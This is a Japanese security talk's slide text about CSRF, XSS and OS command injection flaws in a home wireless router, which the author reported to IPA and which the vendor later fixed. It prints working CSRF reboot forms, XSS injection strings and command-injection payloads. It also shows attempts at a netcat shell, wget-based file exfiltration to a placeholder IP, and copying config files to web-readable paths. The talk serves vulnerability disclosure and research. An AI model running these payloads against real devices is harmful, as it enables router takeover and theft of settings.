Recomendados
Más contenido relacionado
La actualidad más candente
La actualidad más candente (20)
Destacado
Destacado (20)
Más de abend_cve_9999_0001
The vulnerabilities never bothered me anyway
- 1. ー 脆弱性なんかに負けない ー The vulnerabilities never bothered me anyway 1
- 3. 3 Satoshi Ogawa(小河哲之) Twitter: abend アルコール摂取に余念がないセキュリティエンジ ニア Burp Suite Japan User Group ISOG WG1 OWASP要件定義WG NO DRINK, NO HACK!
- 9. 9 他にもアナがあるんじゃないかと思い、いろ いろと試してみた。 ♪ 「このままじゃだめなんだと」 ① Webアプリケーション診断（手動で実施） ② ネットワーク診断（nmap、OpenVASとか）
- 10. 10 いろいろとWebアプリケーションの脆弱性があった。 ③ OSコマンドインジェクション ⇒Webサーバ（無線ルータ）のOSコマンドを不正に実行されて しまう。 ① CSRF ⇒利用者が意図していない処理を実行させられてしまう。 ② XSS ⇒任意のスクリプト実行やタグを埋め込まれてしまう。
- 16. 16 ほぼすべての機能に脆弱性が存在すると思わ れる。悪用された場合、影響が大きい。 ・ 任意のパスワード変更 ・ 初期化 ・ ポートフォワード設定 など
- 18. 18 <html> <body> <script type="text/javascript"> setInterval(function(){document.frm.submit()},3000); </script> <form name="frm" target="frame" action="http://xxxxx/init.html" method="POST"> <input type="hidden" name="nosave_reboot" value="1"> </form> <iframe name="frame"></iframe> </body> </html> って、思ったが、再起動後、BASIC認証が発生 するので定期的な攻撃は成立しない。
- 20. 20 Reflection XSSやStored XSSとは？ XSSを分類するとタイプは3つあります。 1. Reflected XSS （反射型） 2. Stored XSS （格納型） 3. DOM based XSS （DOM型） 『DOM Based XSS』に関するレポート https://www.ipa.go.jp/files/000024729.pdf ※XSSの分類についても記載されています。
- 23. 23 3. DOM Based XSS メールなどを用いて、XSSが発現するようなリンクを利用者 にアクセスさせ、JavaScriptの不備を悪用。サーバにログを残 さずに悪用可能。 メールやページ 書込みによるリン ク Application Server 利用者 攻撃者 script 利用者のブラウザ上で実行 ※ 一般的な説明
- 26. 26 CSRF feat. Stored XSS 複数の脆弱性を組み合わせると、ちょっと変 わる。CSRFとXSSを組み合わせて・・・
- 28. 28 リクエスト（通常時）は POST /ap.html HTTP/1.1 Host: xxx Content-Type: application/x-www-form-urlencoded Content-Length: 42 DeviceName=hostname&NetworkServiceEnable=1 <table class="AD_SET"> <tr> <th>エアステーション名</th> <td> <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'> </td> </tr> </table> その結果を表示するレスポンス（抜粋）は ここに出力される。 入力した内容
- 29. 29 XSSを引き起こす文字列（赤字）を登録するよ うなCSRFの罠へ利用者をアクセスさせる。 ～抜粋～ <form action=“http://xxxxxxx/ap.html” method=“post”> <input type=“hidden” name=“DeviceName” value=“hostname’><script>alert(‘XSS’)</script>”> <input type=“hidden” name=“NetworkServiceEnable” value=“1”> </form>
- 30. 30 その結果（抜粋）・・・ 登録されたデータを変更しない 限り、アクセスするたびにXSSが 引き起こされる。 <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'><script>alert('XSS‘)</script>'> Scriptタグが挿入され、任意のスクリプ トが実行してしまう。
- 31. 31 アクセスしただけでrebootもできるようになる。 ～抜粋～ <form name="frm" target="frame" action="http://xxxxx/ap.html" method="POST"> <input type="hidden" name="DeviceName" value="host'></form><form name='f' action='init.html' method='post'><input type='hidden' name='nosave_reboot' value='1'></form><script>document.f.submit();</script>"> <input type="hidden" name="NetworkServiceEnable" value="1"> </form>
- 37. 入力内容によりレスポンスの応答時間が変化 する。 192.168.1.1 | sleep 1 192.168.1.1 | sleep 10 →10.129secかかった。 →1.134secかかった。 37
- 38. 38 CSRF feat. OSコマンドインジェクション で・・・<html> <script> function init(){ document.form[0].submit(); }; </script> <body onload="init();"> <form action="http://xxxxxxxxxxx/ping.html" method="post"> <input type="hidden" name="ping_ipaddress" value="1;reboot"> </form> </body> </html> 脆弱性をついて再起動というイケてる仕様。 OSコマンドインジェクショ ン
- 39. 39 ちゃんと活用していました。
- 41. 41 ♪ 「The vulnerabilities never bothered me anyway」 脆弱性なんて気にしない ただ、ここまで来ると
- 46. 46 しばらくしてIPAからメールがきた。 （2014年9月頃） ② XSS → 脆弱性認定キター ① CSRF → 脆弱性認定キター ③ OSコマンドインジェクション → 不受 理
- 47. 47 は？
- 48. 48 受理しないとする先方のメールを要約すると ・ 管理画面上で操作できる内容のコマンド しか確認できていない。 ・ 確認できているコマンドではCIAに影響を 及ぼさない。 ・ 実行するにはログインすることが前提 （ユーザも1つしかない）。
- 51. 51 ところで、CIAっ て？？
- 52. 52 完全性 (Integrity) 情報が破壊、改ざん又は消去されていない状態を確保すること 機密性 (Confidentiality) 情報へのアクセスを認められた者だけが、その情報にアクセスできる状態 を確保すること 可用性 (Availability) 情報へのアクセスを認められた者が、必要時に中断することなく、情報及 び関連資産にアクセスできる状態を確保すること By wikipedia
- 64. 64 ベンダが改修したと言っているので、改修確 認をやってみた。 ② XSS → alertがあがった ① CSRF → なおった ③ OSコマンドインジェクション → な おった
- 71. まとめ 71
- 73. 73 2014年7月21日に一番最初に報告したので、1年半か かった。長かったが、全部直していただいて、利用 者として良かったです。 ♪ 「The vulnerabilities never bothered me anyway」 脆弱性なんかに負けない
- 75. 実はまだ終わらないんです。 75
- 77. なので・・・ 77
- 78. 世界に1つだけのroot 78
- 80. Analysis2 80 以下、文字列が出力されるのを確認してい た。 1|echo '1 bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms' ping結果を出力する機能なので、出力形式 のチェックをしているのではないかと推測 される。 1|echo 'hello' 以下では、出力されなかった。 1|echo $SHELL
- 81. Analysis3 81 出力形式のチェックはどこまで厳格なって いるのか1byteづつ削ったりして試してみた。 1|echo 'seq=' 最終的にこの赤字箇所があれば、画面出力 される。 1|echo '1 bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms'
- 83. Analysis6 83 画面出力ができるようになったので、以前 ダメだったコマンドを再度試してみた。 1| echo 'seq='+`ls` 表示されるようになった。ただし、 58byte分のみ。
- 84. Analysis7 84 環境変数も見れている。 1| echo 'seq='+`echo $SHELL`
- 85. Analysis8 85 どんなコマンドが実行可能か調査してみた。 1| echo 'seq='+`ls /bin` 全部表示されない。
- 86. Analysis9 86 なので、こんな感じでアルファベットすべ て確かめればコマンドの洗い出しができる。 1| echo 'seq='+`ls /bin | grep ^a` ただ、手動で試すのはめんどくさい。
- 88. Analysis11 88 BurpのIntruder機能は、色々なパターンを自 動的にテストしたりするのに便利で、以下 の流れになる。 ① リクエストをIntruderにセット。 ② Positionsでテストしたい箇所を指定。 ③ Payloadでテストするパターンをセッ トし、Go Attackを押下。 ④ 結果の確認。
- 92. Analysis15 92 その結果、以下のコマンドが実行可能。 /bin acl ap_serv ac ated ash brctl busybox cp cat chmod df dnsmasq dd date echo eraseall erase gzip gpio grep hw_nat hostname iwconfig iwpriv iptables kill lld2d login ln ls mtr mv mtd_write mknod mount mii_mgr mkdir netstat openssl ps ping pwd pidof rm reg sleep switch sh sed tc touch tar uname umount uboot_env vi wscd /sbin arping basename cut ccf_checkLicenseStatus dumpleases ether-wake expr ifilter_checkLicense.sh killall nslookup printf pscan tail top tproxy tftp test unzip uptime wget wc xargs /usr/bin config-vlan.sh config.sh halt ifconfig init insmod klogd lsmod mdev pppoe-relay poweroff reboot rmmod route syslogd udhcpc vconfig wd_keepalive
- 97. Analysis20 97 /binにあるコマンドをls –lで見てみると、 多くが/bin/busyboxにlinkされていた。 lrwxrwxrwx 1 0 0 7 mkdir -> busybox lrwxrwxrwx 1 0 0 7 grep -> busybox lrwxrwxrwx 1 0 0 7 date -> busybox lrwxrwxrwx 1 0 0 7 sed -> busybox
- 98. Analysis21 98 busyboxはLinuxコマンドを詰め合わせたも ので、組み込み機器などで利用されている ようです。 1| echo 'seq='+`/bin/busybox ls` 使い方は以下のように、実行したいコマン ドを引数として渡すと実行される。
- 99. Analysis22 99 ncのlinkがないだけかもしれないので、再 度ncを用いたshellの取得を試してみた。 1| echo 'seq='+`/bin/busybox nc –c /bin/sh –l –p 8888` 両方ともダメだった。lnで/bin/ncでも試し てみたがやはりだめだった。 1| echo 'seq='+`/bin/busybox nc IPアドレス 8888`
- 100. Analysis23 100 設定ファイルなどを簡単にゲットする方法 を考えてみた。 受け側でPOSTデータを出力すれば、簡単に ファイルをゲットできるが、「--post-file」 などのオプションを認識しないため、ゲッ トできず。 1| echo ‘seq='+`wget http://IPアドレス --post-file=ファイル`
- 101. Analysis24 最初はこんな感じでやり始めた。 上記のパターンで確認し、1行が58byte以上 の場合、cutした。 1| echo 'seq='+`cat ファイル | tail –n X` 101
- 102. Analysis25 あまりにもめんどくさいので、ほかの方法 を考えた。 拡張子がhtmlであればアクセスできるので、 簡単に設定を参照可能。 1| echo 'seq='+`cp ファイル test.html` 102